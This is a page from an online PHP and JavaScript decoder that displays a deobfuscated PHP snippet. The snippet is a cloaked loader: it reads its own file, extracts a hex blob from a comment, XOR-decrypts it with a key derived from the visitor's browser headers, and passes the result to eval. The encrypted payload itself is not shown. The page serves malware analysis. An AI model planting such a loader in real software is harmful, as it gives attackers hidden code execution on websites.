Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



$gbnepit = $_SERVER["HTTP_USER_AGENT"];
$gbnepit .= $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$hksizkb = md5($gbnepit);
function lgzeysm($zkqhrbb, $gbnepit){
	$hksizkb="";
	$imxtfur = strlen($zkqhrbb);
	for($gtjpbrp=0;$gtjpbrp<$imxtfur;$gtjpbrp+=2)
		$hksizkb.=urldecode("%".substr($zkqhrbb,$gtjpbrp,2));
	
	$strLen = strlen($hksizkb);
	$imxtfur = strlen($gbnepit);
    $ppfckvv = "";
    for($gtjpbrp=0; $gtjpbrp<$strLen; $gtjpbrp++){
		$byaeumr = $gtjpbrp % $imxtfur;
        $ppfckvv .= chr(ord($hksizkb[$gtjpbrp])^ord($gbnepit[$byaeumr]));
    }
	return $ppfckvv;
}
$zkqhrbb = __FILE__ ;
$imxtfur = fopen($zkqhrbb,"r");
$gtjpbrp = fread($imxtfur,filesize($zkqhrbb));
if(preg_match("#/\*(.*?)\*/#si", $gtjpbrp, $byaeumr)){
	$gtjpbrp = trim($byaeumr[1]);
	$gtjpbrp = trim($gtjpbrp);
	$gtjpbrp = preg_replace("/\s+/i", "", $gtjpbrp);
	eval(lgzeysm($gtjpbrp, $hksizkb));
}



© 2023 Quttera Ltd. All rights reserved.